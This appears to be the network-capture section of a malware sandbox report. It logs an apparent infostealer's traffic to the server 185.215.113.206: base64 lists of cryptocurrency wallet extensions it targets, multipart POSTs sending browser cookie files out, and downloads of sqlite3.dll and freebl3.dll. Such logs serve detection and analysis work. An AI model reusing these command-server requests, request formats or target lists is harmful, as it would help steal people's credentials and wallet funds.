TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 27, 2024 17:58:21.125477076 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 27, 2024 17:58:21.125488997 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 27, 2024 17:58:21.125663042 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 27, 2024 17:58:21.125675917 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Nov 27, 2024 17:58:21.125688076 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Nov 27, 2024 17:58:21.133851051 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Nov 27, 2024 17:58:21.135188103 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"fplugins------IIEBGIDAAFHIJJJJEGCG--
Nov 27, 2024 17:58:21.593580008 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 27, 2024 17:58:21.611674070 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.215.113.206 Content-Length: 5835 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 17:58:21.611715078 CET	5835	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 27, 2024 17:58:22.597233057 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:58:23.675853968 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:58:24.132661104 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 27, 2024 17:58:24.132761002 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 27, 2024 17:58:24.136898994 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49755	185.215.113.206	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:58:33.631861925 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AAFBAKECAEGCBFIEGDGI--
Nov 27, 2024 17:58:35.508795977 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:58:35.646632910 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGHIJDGCBKECAAKKEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="file"------KECGHIJDGCBKECAAKKEC--
Nov 27, 2024 17:58:36.587213993 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49850	185.215.113.206	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:58:48.743767977 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file"------KFIEHIIIJDAAAAAAKECB--
Nov 27, 2024 17:58:50.697637081 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:58:51.282752991 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 17:58:51.740892887 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 27, 2024 17:58:51.741033077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 27, 2024 17:58:51.741053104 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 27, 2024 17:58:51.741064072 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 27, 2024 17:58:51.741075039 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 27, 2024 17:58:51.741086960 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 27, 2024 17:58:51.741189003 CET	776	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 27, 2024 17:58:51.741203070 CET	1236	IN	Data Raw: c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 Data Ascii: MEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf
